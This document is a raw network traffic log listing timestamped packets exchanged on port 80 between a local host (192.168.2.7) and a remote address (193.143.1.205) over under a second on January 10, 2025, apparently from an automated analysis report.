Jan 10, 2025 17:10:54.584101915 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.584112883 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.584125042 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.584130049 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.584136009 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.584147930 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.584182978 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.584182978 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.584211111 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.584979057 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.584990978 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.585002899 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.585012913 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.585024118 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.585036039 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.585047960 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.585048914 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.585078001 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.585099936 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.585712910 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.585763931 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.585819006 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.585830927 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.585843086 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.585853100 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.585864067 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.585875034 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.585876942 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.585905075 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.585931063 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.586637020 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.586688995 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.586699963 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.586713076 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.586723089 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.586735010 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.586735010 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.586746931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.586796045 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.586796045 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.587498903 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.587558031 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.587573051 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.587584972 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.587595940 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.587605953 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.587618113 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.587644100 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.590332985 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.600337982 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.605722904 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.605742931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.605756044 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.605798960 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.605811119 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.605815887 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.605823040 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.605843067 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.605854988 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.605882883 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.605882883 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.605916977 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.610038042 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.614797115 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.614806890 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.614818096 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.614842892 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.614855051 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.614871025 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.614882946 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.614893913 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.614901066 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.614906073 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.614917040 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.614948988 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.619184971 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.628900051 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.635921955 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.635937929 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.635943890 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.636032104 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.650188923 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.672693968 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672749996 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.672765017 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672777891 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672790051 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672810078 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672821999 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.672822952 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672836065 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672851086 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672857046 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672869921 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.672907114 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.672930956 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672943115 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672952890 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672964096 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672976017 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.672981977 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.672996044 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.673260927 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.673270941 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.673281908 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.673294067 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.673297882 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.673305035 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.673324108 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.673352957 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.673387051 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.673398018 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.673429966 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.680990934 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.692234993 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702029943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702049971 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702089071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702105999 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702111006 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702117920 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702127934 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702163935 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702191114 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702419996 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702440977 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702451944 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702466965 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702477932 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702481031 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702488899 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702514887 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702536106 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702538013 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702557087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702609062 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702622890 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702629089 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702641010 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702670097 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702756882 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702769041 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702780008 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702796936 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702809095 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702817917 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702837944 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702847958 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702881098 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702888966 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702900887 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702912092 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702930927 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702956915 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.702966928 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.702999115 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703008890 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703039885 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.703048944 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703062057 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703100920 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.703150988 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703176975 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703212023 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703213930 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.703244925 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703255892 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703259945 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.703293085 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703300953 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.703305960 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703322887 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703358889 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.703365088 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703377962 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703389883 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703398943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703419924 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.703448057 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.703588009 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703624964 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703636885 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703645945 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.703665018 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.703665018 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703677893 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703690052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703706980 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703720093 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703738928 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.703749895 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703762054 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.703763008 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.703787088 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707092047 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707104921 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707122087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707130909 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707142115 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707153082 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707164049 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707165956 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707175016 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707189083 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707200050 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707211018 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707222939 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707233906 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707245111 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707257032 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707285881 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707285881 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707287073 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707287073 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707287073 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707360029 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707494974 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707506895 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707518101 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707529068 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707540989 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707551003 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707555056 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707597017 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707597017 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707633018 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707644939 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707678080 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707709074 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707726002 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707736015 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707750082 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707766056 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707777023 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707803965 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707873106 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707906008 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707918882 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.707923889 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707936049 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.707968950 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.708003998 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708045006 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.708098888 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708111048 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708122015 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708131075 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708142042 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708153009 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708157063 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.708193064 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.708225965 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708368063 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708379030 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708398104 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708408117 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.708409071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708427906 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708436966 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.708440065 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708452940 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708466053 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708477974 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708482981 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.708488941 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708501101 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708511114 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708512068 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.708512068 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.708522081 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.708549976 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.708570004 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.716176033 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.724526882 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.765115976 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765136003 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765146971 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765165091 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765177011 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765192986 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.765230894 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.765233040 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765252113 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765263081 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765271902 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.765284061 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765305996 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.765436888 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765455961 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765466928 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765472889 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.765479088 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765491009 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765500069 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.765501976 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.765604019 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.794585943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794605017 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794616938 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794627905 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794640064 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794646978 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.794651985 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794666052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794677019 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794687986 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.794722080 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.794753075 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794785023 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794789076 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.794802904 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794815063 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794840097 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.794841051 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794862032 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794873953 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794883013 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.794898033 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794908047 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.794909000 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.794946909 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795237064 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795248032 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795263052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795284986 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795285940 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795300961 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795322895 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795327902 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795340061 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795360088 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795366049 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795372963 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795383930 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795396090 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795401096 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795413017 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795423031 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:54.795423985 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:54.795435905 CET	80	49702	193.143.1.205	192.168.2.7
